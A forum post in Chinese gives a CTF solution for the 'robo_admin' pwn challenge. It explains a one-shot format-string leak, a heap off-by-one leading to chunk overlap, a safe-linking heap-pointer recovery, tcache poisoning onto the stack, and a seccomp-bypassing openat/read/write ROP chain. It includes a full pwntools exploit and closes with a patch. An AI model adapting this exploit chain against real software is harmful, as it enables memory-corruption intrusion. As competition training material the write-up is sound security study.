首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
CTF对抗
发新帖
0
2
[原创]第二届软件系统安全赛 robo_admin 题解
发表于: 2026-4-21 17:12
6233
[原创]第二届软件系统安全赛 robo_admin 题解
S1nyer
1
2026-4-21 17:12
6233
**题目附件:<mark class="encrypted">f08K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6K6K9r3q4J5k6g2)9J5k6i4N6W2K9i4W2#2L8W2)9J5k6h3y4G2L8g2)9J5c8Y4W2G2k6$3S2D9h3X3V1&6i4K6u0m8i4K6u0m8</mark> ## 程序分析 ``` Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled ``` 题目还开了 seccomp,禁了三个系统调用: - `open` - `execve` - `execveat` 程序有两层菜单,主菜单里最关键的是 `set_notice/show_status`: ```c sub_1447(s, 512LL); if ( strchr(s, 37) || strchr(s, 36) ) puts("[X] raw input contains illegal chars"); else if ( sub_1528(s, src, 256LL) ) puts("[X] decode failed"); else memcpy(byte_51C0, src, 0x100); ``` ```c printf("Notice: "); if ( dword_52C0 ) { if ( dword_52C4 ) printf("%s", byte_51C0); else { dword_52C4 = 1; printf(byte_51C0); } } ``` 这里有两个点: - 原始输入里不能直接出现 `%` 和 `$`,但支持 `\x` 转义解码,所以可以用 `\x25`、`\x24` 还原格式化串 - `printf(byte_51C0)` 只会执行一次,是一个**一次性格式化字符串**。 管理员菜单的漏洞更直接: ```c v0 = sub_1C1D("Write length :", 1LL, qword_5180[idx] + 1LL); v7 = read(0, heaps[idx], v0); if ( qword_5180[idx] <= v7 ) heaps[idx][qword_5180[idx] - 1] = 0; else heaps[idx][v7] = 0; ``` `edit` 允许写到 `cap + 1`,因此可以做到**一字节堆溢出**。但有两个恶心的限制: - 总会补一个 `\0` - `query` 又都是按 `%s` 打印 再看 `create`: ```c heaps[idx] = malloc(size); memset(heaps[idx], 0, size); ``` 这意味着常规的 overlap 泄露并不好做: - 新申请的块会被 `memset` 清干净 - 就算 overlap 到了 free chunk,`edit` 补的 `\0` 也很容易把字符串截断 所以这题表面是“格式化字符串 + 堆菜单 + off-by-one”,但我觉得难点其实是:**在 `memset` 和 `\0` 截断同时存在的情况下,怎么稳定读到 free chunk 里的指针数据** ## 漏洞利用 ### Step1 格式化字符串泄露关键信息 管理员密码不是固定值,而是程序启动时随机生成的两段 8 字节数据: ```c snprintf(s, 0x28uLL, "%016lx%016lx", qword_52D0, qword_52D8); if ( !strcmp(s1, "ROBOADMIN") && !strcmp(v14, s) ) ``` 所以第一步必须先把 password 泄露出来,看汇编发现show_status函数有把password写到栈上  由于 notice 支持 `\x` 解码,我们可以把 payload 写成: ```py payload = b"\\x256\\x24p \\x257\\x24p \\x2515\\x24p \\x2523\\x24p \\x2514\\x24p" ``` 解码后就是: ``` %6$p %7$p %15$p %23$p %14$p ``` - `%6$p`、`%7$p` 泄露 password 的两半 - `%15$p` 泄露 PIE - `%23$p` 泄露 libc - `%14$p` 拿一个栈地址 ### Step2 分析堆布局 这题登录前会经过 seccomp 初始化,libseccomp 会在堆上留下大量分配/释放痕迹,导致登录之后的 heap 并不干净 这里实际观察到的关键 bin 状态如下 ``` tcache[0x60]: 0x...d2a0 -> 0x...e900 tcache[0x30]: 0x...d300 -> 0x...d460 tcache[0xd0]: 0x...db10 -> 0x...d7e0 -> 0x...d350 tcache[0x40]: 0x...dcd0 -> 0x...d9a0 -> 0x...d670 -> ... unsortbin: 0x5d57ca34d9d0 (size : 0xf0) ``` 发现`tcache[0x60][0]`和`tcache[0x30][0]`的地址相邻(0xd2a0和0xd300),又发现和`tcache[0x30][0]`最近的是`tcache[0xd0][2]`(0x...d350),它们中间夹了个0x20大小的fastbin ```py add(0, "A", 0x58) # 0x...d2a0 add(1, "B", 0x28) # 0x...d300 add(2, "C", 0xc8) # 0x...db10 add(3, "D", 0xc8) # 0x...d7e0 add(4, "E", 0xc8) # 0x...d350 add(5, "cls", 0x28) # 0x...d460 ``` 利用off-by-one修改`B`的size为`0x91`,构造chunk overlap ```py edit(0, 0x59, b'A'*0x58 + p8(0x91)) ``` 真正参与 overlap 的其实只有三块 ``` A: [0x...d290, size=0x60] B: [0x...d2f0, size=0x30] E: [0x...d340, size=0xd0] ``` 修改`E`的数据域绕过glibc检查 如果把 `B` 视为一个 `0x90` chunk,那么: - `nextchunk = d380` - `nextchunk->size` 在 `d388` - 再往后一个 chunk 的 `size` 在 `d3a8` 所以要先在 `E` 里面伪造两个最小合法 chunk 头: ```py fake_chunk = flat( { 0x38: p64(0x21), 0x58: p64(0x21), }, filler=b"\x00", ) edit(4, 0x60, fake_chunk) ``` 这里顺手还要做以下堆风水: - 申请一个稍大的块把`unsortedbin`清走 - 把 `tcache[0x90]` 填满,保证 fake `0x90` chunk 在 `free` 时进 `unsorted` - 吃掉`smallbin[0x60]`,保证从 `unsorted` 切割块 - 清空`tcache[0x30]` ,保证后面 `malloc(0x28)` 一定吃到我们 split 出来的 remainder 这里没有走“大块合并 -> unsorted/largebin”那套路线,因为题目限制申请大小 `< 0x200` ### Step3 泄露heap基址 ```py free(1) # free fake 0x90(B) add(7, "F", 0x40) add(1, "X", 0x28) ``` 申请 `0x40` 时,对应 chunk size 是 `0x50`,所以 fake `0x90` chunk 会被切成: ```text [0x...d2f0, size=0x50] 已分配给 slot7 [0x...d340, size=0x40] remainder ``` 注意这个 `remainder` 的 chunk 头正好落在 `E` 原来的位置上 申请 `0x28` 时,对应 chunk size 是 `0x30`,此时 `0x40` remainder 再 split 只会剩下 `0x10`,不满足最小 chunk 尺寸,因此 glibc 会把整个 `0x40` chunk 返回。于是新的 user 指针就是`0x...d350` 也就是 `E` 的 user 起点 所以这一步结束之后: - `slot1->desc == 0x...d350` - `slot4->desc == 0x...d350` 这一点非常重要,它绕开了这题最烦的两个限制: - `create` 会 `memset` 新 chunk,残留元数据很难保住 - `edit` 总会补 `\0`,普通字符串泄露很容易被截断 现在不一样了。后面只要把 `slot4` free 掉,tcache 写进去的 `fd` 就会直接落在 `slot1` 看到的 user 开头。字符串从泄露数据本身开始,就不会再被前面的 `\0` 卡死 `tcache[0x40]` 原本就已经有 6 个节点,头结点是 `0x...dcd0`,所以 freed chunk 开头被写入的是: ```python fd = (heap_base + 0xcd0) ^ (0x...d350 >> 12) ``` 读取`fd`后还原 ```py leak = uu64() z = leak ^ 0xcd0 key = 0 prev = 0 for i in range(0, 64, 12): cur = ((z >> i) & 0xfff) ^ prev key |= cur << i prev = cur heap_base = key << 12 ``` ### Step4 栈迁移 + ORW ROP收尾 拿到 `heap_base` 之后,接下来的事情就简单了。`slot1` 仍然指向刚刚 free 掉的 `0x40` chunk,所以我们可以改它的 `fd`为栈地址,完成任意地址分配到栈 ```py retaddr = stackaddr - 0x30 edit(1, 0x10, p64(retaddr ^ key)) free(5) # 腾出 slot index,和 poison 无关 add(5, "tc", 0x38) # 取走 head add(4, "migrate", 0x38) # 返回 retaddr ``` 之后 - 在一块大 chunk 里放 ROP 链 - 在另一块 chunk 里放 `/flag` - 覆盖 `admin_menu` 函数的`stack context`为 `leave; ret` 栈迁移 我这里把 ROP 链写在 `slot3` 对应的 `0xc8` chunk 里,把 `/flag` 写在一块普通缓冲里。由于 seccomp 禁掉了 `open`,所以用`openat` ```py elf.address = pie libc.address = libcbase rop = ROP([elf, libc]) ropaddr = heap_base+0x7e0 flagaddr = heap_base+0xa70 edit(6, 0x10, b"/flag") rop.raw(p64(0)) rop.call("openat", [-100, flagaddr, 0]) rop.call("read", [3, flagaddr+0x10, 0x50]) rop.call("write", [1, flagaddr+0x10, 0x50]) #print(rop.dump()) edit(3, 0xc8, rop.chain()) ``` 栈迁移覆盖内容: ```py leave_ret = elf.search(asm("leave;ret")).__next__() edit(4, 0x38, flat(ropaddr, leave_ret)) menu(6) ```  ### 完整Exp ```py from pwn import * import struct def debug(c = 0): if(c): gdb.attach(p, c) else: gdb.attach(p) def get_addr(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) def get_sb(): return libc.sym['system'], next(libc.search(b'/bin/sh\x00')) def rol(value, shift, bits=64): return ((value << shift) & (2**bits - 1)) | (value >> (bits - shift)) sd = lambda data : p.send(data) sa = lambda text,data :p.sendafter(text, data) sl = lambda data: p.sendline(data if isinstance(data, bytes) else str(data).encode()) sla = lambda text,data :p.sendlineafter(text, data if isinstance(data, bytes) else str(data).encode()) rc = lambda num=4096 :p.recv(num) ru = lambda text :p.recvuntil(text) rl = lambda :p.recvline() pr = lambda num=4096 :print(p.recv(num)) ia = lambda :p.interactive() l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00')) uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00')) uheap = lambda :u64(p.recv(6).ljust(8,b'\x00')) logaddr = lambda s, n :p.success('%s -> 0x%x' % (s, n)) context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] file = "./pwn" libc = "./libc.so.6" def login(pwd): sla("> \n", str(3)) sla("Token:\n", "ROBOADMIN") sla("(32 hex):\n", pwd) if b"login success" in rl(): success("login success!") return 1 else: print("\033[31mlogin failed!\033[0m") return 0 def menu(idx): sla("> ", str(idx)) def add(idx, name, size): menu(1) sla("Index:\n", str(idx)) sla("Task name:\n", name) sla("Desc size:\n", str(size)) def edit(idx, size, cont): menu(2) sla("Index:\n", str(idx)) sla("Write length :", str(size)) sa("New desc bytes:", cont) def show(idx): menu(3) sla("Index:\n", str(idx)) ru(" => ") def free(idx): menu(5) sla("Index:\n", str(idx)) context.binary = elf = ELF("./pwn") context.arch = "amd64" context.log_level = "debug" if args.D else "info" p = process(file) elf = ELF(file, False) libc = ELF(libc, False) payload = "\\x256\\x24p \\x257\\x24p \\x2515\\x24p \\x2523\\x24p \\x2514\\x24p" ru("> \n") sl(str(1)) sleep(0.5) sl(payload) ru("> \n") #debug("b *$rebase(0x1A4A)") #pause() sl(str(2)) ru("Notice: ") leaks = rl().split(b' ') #print(leaks) pwd = leaks[0][2:] + leaks[1][2:] success("password: %s", pwd.decode()) pie = int(leaks[2], 16) - 0x2893 libcbase = int(leaks[3], 16) - 0x29d90 stackaddr = int(leaks[4], 16) if not login(pwd): exit(0) add(0, "clear", 0x180) # clear unsortedbin free(0) # fill tcache for i in range(7): add(i, f"T{i}", 0x80) for i in range(7): free(i) add(0, "A", 0x58) add(1, "B", 0x28) add(2, "C", 0xc8) add(3, "D", 0xc8) add(4, "E", 0xc8) add(5, "cls", 0x28) add(6, "clear", 0x48) # clear smallbin fake_chunk = flat( { 0x38: p64(0x21), 0x58: p64(0x21), }, filler=b"\x00", ) edit(4, 0x60, fake_chunk) edit(0, 0x59, b'A'*0x58 + p8(0x91)) free(1) add(7, "F", 0x40) add(1, "X", 0x28) free(4) show(1) leak = uu64() z = leak ^ 0xcd0 key = 0 prev = 0 for i in range(0, 64, 12): cur = ((z >> i) & 0xfff) ^ prev key |= cur << i prev = cur heap_base = key << 12 logaddr("heapbase", heap_base) logaddr("pie", pie) logaddr("libcbase", libcbase) logaddr("stack", stackaddr) elf.address = pie libc.address = libcbase rop = ROP([elf, libc]) ropaddr = heap_base+0x7e0 flagaddr = heap_base+0xa70 edit(6, 0x10, b"/flag") rop.raw(p64(0)) rop.call("openat", [-100, flagaddr, 0]) rop.call("read", [3, flagaddr+0x10, 0x50]) rop.call("write", [1, flagaddr+0x10, 0x50]) #print(rop.dump()) edit(3, 0xc8, rop.chain()) leave_ret = elf.search(asm("leave;ret")).__next__() retaddr = stackaddr-0x30 edit(1, 0x10, p64(retaddr ^ key)) free(5) add(5, "tc", 0x38) #debug("b *$rebase(0x2635)") #pause() add(4, "migrate", 0x38) edit(4, 0x38, flat(ropaddr, leave_ret)) menu(6) ia() ``` ## 漏洞修补 根据题目描述进行修复的 > 请同时检查 set_notice() 与 show_status() 两处逻辑;若拦截了解码后的危险字符,错误输出中应包含 "[X] decoded input contains illegal chars"。  对\x转换后的字符进行检查,过滤了`%`字符,同时将`[X] decoded input contains illegal chars`字符串写到`eh_frame`段,修改错误输出为题目要求即可 
登录后可查看完整内容
传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!!
最后于
2026-4-21 20:46 被S1nyer编辑 ,原因:
收藏
・
0
点赞
・
2
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
wx_晨梦
非常支持你的观点!
2026-7-16 08:39
SYearn
+10
感谢你分享这么好的资源!
2026-5-15 15:58
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
感谢分享~
最新回复
(
0
)
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
S1nyer
1
4
发帖
1
回帖
60
RANK
关注
私信
他的文章
[原创]cclibc:一个强大的CTF Glibc环境管理工具
582
[原创]第二届软件系统安全赛决赛 StudentManagement 详解
5747
[原创]逆向手的锋刃:IDA Hook从入门到实战
13363
[原创]第二届软件系统安全赛 robo_admin 题解
6233
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞!
返回
顶部